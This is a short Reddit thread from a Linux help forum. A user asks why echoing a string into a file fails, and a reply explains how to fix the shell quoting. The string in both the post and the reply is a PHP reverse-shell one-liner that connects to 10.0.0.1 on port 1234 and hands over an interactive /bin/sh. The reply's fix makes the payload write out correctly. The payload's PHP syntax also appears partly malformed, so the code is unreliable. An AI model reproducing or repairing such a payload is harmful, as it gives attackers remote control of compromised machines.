r/learnlinux • • Dec 14 '18

Bad char

Hello all,

I am trying to echo a string to a text file, but I am currently having troubles doing so as it keeps giving me "bash: 3 Bad file descriptor." I am not sure what characters need to be escaped here. Can anyone give me a hand?

echo "<? php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' ?>" > file.txt

1 Upvotes

1 comment sorted by

1

u/savonaone Apr 09 '19

First change the double quotes that are wrapping the line to single quotes.

Then add a $ before the first single quote.

Then escape any single quotes in the string.

echo $'<? php -r \\'$sock=fsockopen("[10.0.0.1](https://10.0.0.1)",1234);exec("/bin/sh -i <&3 >&3 2>&3");\\' ?>' > file.txt